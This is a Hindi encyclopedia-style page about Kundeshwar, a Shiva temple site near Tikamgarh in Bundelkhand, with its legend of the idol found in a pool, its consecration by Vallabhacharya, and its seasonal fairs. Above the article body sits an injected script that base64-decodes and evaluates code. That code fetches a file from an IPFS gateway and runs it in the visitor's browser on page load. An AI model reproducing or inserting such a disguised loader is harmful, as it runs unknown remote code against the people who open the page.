कुंडेश्वर

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
चित्र:Tranfer-icon.png यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • कुंडेश्वर बुंदेलखंड (मध्य प्रदेश) में टीकमगढ़ से 4 मील दक्षिण यमद्वार नदी के उत्तरी तट पर बसा एक रम्य स्थान।
  • कुंडेश्वर में एक शिवमंदिर है जिसकी मूर्ति के संबंध में कहा जाता है कि वह 15वीं शती ई. में एक कुंड से आविर्भूत हुई थी।
  • उन दिनों वहीं तुंगारण्य में श्रीवल्लभाचार्य श्रीमन्दभगवत की कथा कह रहे थे।
  • इस मूर्ति के मिलने का समाचार सुनकर वे वहाँ आए और तैलंग ब्राह्मणों द्वारा मूर्ति का संस्कार कराया और वहीं प्रतिष्ठित किया।
  • कुंड में मिलने के कारण ही यह कुंडेश्वर कहा जाता है।
  • शिवरात्रि, मकरसंक्रांति और बसंतपंचमी के अवसर पर वहां भारी मेला लगता है।

टीका टिप्पणी और संदर्भ